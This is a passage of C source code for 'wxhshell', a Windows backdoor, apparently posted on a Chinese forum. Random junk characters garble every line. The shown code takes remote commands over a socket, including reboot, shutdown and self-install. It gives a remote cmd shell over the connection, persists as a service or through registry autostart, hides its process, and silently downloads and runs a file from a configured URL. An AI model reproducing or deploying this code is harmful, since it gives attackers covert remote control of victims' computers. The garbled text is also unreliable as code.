  // 帮助 2EO WbN}M  
  case '?': { 4o/}KUu(*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0`WjM2So  
    break; mGZJ$|  
  } dUt$kB  
  // 安装 J\06j%d,  
  case 'i': { sxG8 jD  
    if(Install()) : Xe,=M(l~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  f$7Xh~  
    else 2wCSjAWWh(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3/?^d;=  
    break; EN,PI~~F  
    } E O.Se9ux  
  // 卸载 VL =19[  
  case 'r': { \C{Dui) F  
    if(Uninstall()) LqYP0%7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <w,NMu"  
    else UO1WtQyu,H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h+\+9^l6|  
    break; biLNR"/E  
    } [TW?sW^0  
  // 显示 wxhshell 所在路径 lmGVSdo   
  case 'p': { |]M|I X8 o  
    char svExeFile[MAX_PATH]; :CeK 'A\  
    strcpy(svExeFile,"\n\r"); Ri   
      strcat(svExeFile,ExeFile); k4C3SI*`4  
        send(wsh,svExeFile,strlen(svExeFile),0); ^y,Ex;6o  
    break; ~vbyX  
    } f]_{4Olk  
  // 重启 X_3*DqY  
  case 'b': { '9ki~jtf=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ia9=&Hy])  
    if(Boot(REBOOT)) 7^oO N+=d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O|} p=ny  
    else { ?5IF;vk  
    closesocket(wsh); > eC>sTPQ{  
    ExitThread(0); ; _K3/:  
    } m{w'&\T  
    break; A3 uF 0A  
    } b)[2t^zG  
  // 关机 De-hHY{>  
  case 'd': { !,cL c}a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $eq*@5B  
    if(Boot(SHUTDOWN)) 7W MF8(j5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mx!EuF$I  
    else { p9y@5z  
    closesocket(wsh); +^cjdH*  
    ExitThread(0); +:_;K_h  
    } 5$?)f&M  
    break; v;sWI"Fv!  
    } U^;|as  
  // 获取shell KaIkO8Dq0  
  case 's': { fq[1|Q  
    CmdShell(wsh); =T-jG_.H  
    closesocket(wsh); H[Q3M~_E  
    ExitThread(0); 2PC:F9dh\  
    break; LTTMxiq[*  
  } ZVyJ%"(E  
  // 退出 $vLGX>H  
  case 'x': { 20 Z/Y\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i)!+`w*Y  
    CloseIt(wsh); j0~ dJ#  
    break; `uof\D<']  
    } IcA]B?+  
  // 离开 H1d2WNr[  
  case 'q': { _oE 7<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z^o7&\:  
    closesocket(wsh); .3CQFbHF  
    WSACleanup(); j%)@f0Ng  
    exit(1); _&RGhA  
    break; 7P:/ (P  
        } "uP~hFA7M  
  } n+1`y8dy  
  } *pYawT  
yS.)l  
  // 提示信息 }p>l,HD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2Mu3] 2>  
} 2i$_ ,[fi  
  } q\/xx`L  
.umN>/o[  
  return; f{-,"6Y1  
} ui80}%  
&],O\TAul  
// shell模块句柄 Q">wl  
int CmdShell(SOCKET sock) RREl($$p  
{ N}Or+:"O:q  
STARTUPINFO si; l%qfaU2  
ZeroMemory(&si,sizeof(si)); em2Tet  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k- exqM2x=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l-2lb&n  
PROCESS_INFORMATION ProcessInfo; 2RdpVNx\y  
char cmdline[]="cmd"; k>=wwPy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~FVbL-2  
  return 0; 3}B-n!|*  
} I7C+XUQkQ  
H'I5LYsXO~  
// 自身启动模式 E)]emeG d  
int StartFromService(void) \==Mgy2J8  
{ !iAZEOkRR  
typedef struct EcPvE=^c  
{ q)PSHr=Z  
  DWORD ExitStatus; [OFT!=.y &  
  DWORD PebBaseAddress;  nyZ?m  
  DWORD AffinityMask; u1|v3/Q-  
  DWORD BasePriority; d>/4z#R}-  
  ULONG UniqueProcessId; }mS Q!"f:  
  ULONG InheritedFromUniqueProcessId; _k5$.f:Yj<  
}   PROCESS_BASIC_INFORMATION; JEfhr  
_he~Y2zFz  
PROCNTQSIP NtQueryInformationProcess; fN 1:'d  
)5TX3#=;(G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Lve$H(GHT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^.M_1$-  
{XW>3 "  
  HANDLE             hProcess; .yb8<qs  
  PROCESS_BASIC_INFORMATION pbi; 4-\4G"4  
z]sQ3"cmX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x!onan  
  if(NULL == hInst ) return 0; U}{\qs-zt  
<4;f?e u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (; Zl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5 d|+c<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?#__#  
b{ W ,wn  
  if (!NtQueryInformationProcess) return 0; [{J1b  
& aF'IJC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &HJ~\6r\  
  if(!hProcess) return 0; gKb5W094@  
_xdttO^N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2aQ}| `  
_"'-f l98*  
  CloseHandle(hProcess); Bc#6mO-  
\g|;7&%l3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B^1Io9  
if(hProcess==NULL) return 0; -ANq!$E  
I q47^  
HMODULE hMod; %$!EjyH9  
char procName[255]; c{f1_qXN  
unsigned long cbNeeded; P q( )2B  
5?|PC.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Vs[!WJ 7  
J~G"D-l<9/  
  CloseHandle(hProcess); k_Edug~B  
~#[ ZuMO?  
if(strstr(procName,"services")) return 1; // 以服务启动 _d<\@Tkw  
0M>%1 *  
  return 0; // 注册表启动 Mq,_DQ  
} &nZ.$UK<  
U 0S}O(Ptr  
// 主模块 9$'Edi=6  
int StartWxhshell(LPSTR lpCmdLine) ;d  >  
{ %n #^#:   
  SOCKET wsl; <kor;exeJ  
BOOL val=TRUE; zphStiwIQ  
  int port=0; ';7|H|,F  
  struct sockaddr_in door; ^A$~8?f  
b;Im +9&  
  if(wscfg.ws_autoins) Install(); !PrO~  
l@YpgyqaL  
port=atoi(lpCmdLine); Ljxn}):[  
I!Za2?  
if(port<=0) port=wscfg.ws_port; O^gq\X4}  
9uREbip  
  WSADATA data; rQ$A|GJL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W.,J'  
`0Q:d'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jW",'1h<n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j|(bDa4\  
  door.sin_family = AF_INET; p:ST$ 1 K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Xl*-A|:j  
  door.sin_port = htons(port); _.06^5o  
|,&!Q$<un  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { AjANuyUaP  
closesocket(wsl); .]H]H*wC  
return 1; 0QIocha  
} k*c:%vC!  
)x|BY>  
  if(listen(wsl,2) == INVALID_SOCKET) { j)IK  
closesocket(wsl); )SUN+YV^  
return 1; D&9j$#9Rh  
} \a]\j Zb  
  Wxhshell(wsl); #CQ>d8&  
  WSACleanup(); =\%>O7c,8Y  
FVQWz[N  
return 0; )Y&De)=  
|f?C*t',  
} 'H cDl@E  
M*S5&xpX  
// 以NT服务方式启动 56_KB.Ww~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NxX1_d  
{ i)(Q Npv  
DWORD   status = 0; MM8)yCI  
  DWORD   specificError = 0xfffffff; 4COf H7Al9  
^&rb I,D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;W*$<~_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >aWJ+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sTqB%$K}  
  serviceStatus.dwWin32ExitCode     = 0; 6~/H#8Kdn  
  serviceStatus.dwServiceSpecificExitCode = 0; G\NCEE'A  
  serviceStatus.dwCheckPoint       = 0; Nb9pdkf0  
  serviceStatus.dwWaitHint       = 0; GQZUC\cB  
1a!h&!$9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v1lj/A  
  if (hServiceStatusHandle==0) return; ,`7GI*Vq  
5Q}@Y3 i=  
status = GetLastError(); _/=ZkI5  
  if (status!=NO_ERROR) j&mL]'Zy  
{ 1<p"z,c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I^|bQ3sor  
    serviceStatus.dwCheckPoint       = 0; KE3v3g<  
    serviceStatus.dwWaitHint       = 0; `3:%F>  
    serviceStatus.dwWin32ExitCode     = status; g0U ?s  
    serviceStatus.dwServiceSpecificExitCode = specificError; N.`]D)57  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a wK'XFk  
    return; D?'y)](  
  } +J4t0x  
tVcs r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E)E!  
  serviceStatus.dwCheckPoint       = 0; i=a LC*@  
  serviceStatus.dwWaitHint       = 0; <<1oc{i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >8tuLd*T  
} 7GUJ&U) J  
D.6dPzu`  
// 处理NT服务事件,比如:启动、停止 #50)DwD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A!kyga6F5  
{ Td >k \<  
switch(fdwControl) D=>^m=?0  
{ F%d"gF0qu  
case SERVICE_CONTROL_STOP:  c$|dK  
  serviceStatus.dwWin32ExitCode = 0; bSghf"aN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lRr-S%  
  serviceStatus.dwCheckPoint   = 0; 1#<E]<='t  
  serviceStatus.dwWaitHint     = 0; 5!zvoX9  
  { z{d5Lrk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,no:6&#  
  } sriz b  
  return; 5uer [1A  
case SERVICE_CONTROL_PAUSE: g8"7wf`0k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eeZysCy+DY  
  break; @RIEO%S  
case SERVICE_CONTROL_CONTINUE: `yZZP   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7nz+n#  
  break; He!!oKK>  
case SERVICE_CONTROL_INTERROGATE: ELF`u WG E  
  break; I)6Sbt JV^  
}; ef;L|b%pp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N08n/u&cr,  
} O97bgj]  
5ba[6\Af  
// 标准应用程序主函数 p8dn-4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y UAn~!s  
{ S "Pj 1  
+~ Ay h[V  
// 获取操作系统版本 ~x"79=!W  
OsIsNt=GetOsVer(); ~!F4JRf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '5/}MMT  
XFTMT'9  
  // 从命令行安装 ('q vYQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); "q^'5p]  
%*c|[7Z~V  
  // 下载执行文件 !muYn-4M  
if(wscfg.ws_downexe) { 9[{>JRm.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5MY}(w  
  WinExec(wscfg.ws_filenam,SW_HIDE); j& iL5J;  
} )?&kQ^@v  
FP'lEp  
if(!OsIsNt) { |p -R9A*>h  
// 如果时win9x,隐藏进程并且设置为注册表启动 #S%Y; ilq  
HideProc(); Gj19KQ1G  
StartWxhshell(lpCmdLine); #7-@k-<|  
} E97+GJ3  
else C!{AnWf  
  if(StartFromService()) Z3So|M{v  
  // 以服务方式启动 _*ou o<x  
  StartServiceCtrlDispatcher(DispatchTable); ob0 8xGj  
else tNuCxb-  
  // 普通方式启动 rgdQR^!l6  
  StartWxhshell(lpCmdLine); )6:]o&bZ  
Cz@FZb8  
return 0; :~3{oZGX&  
}
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只看该作者 1 发表于: 2006-10-10
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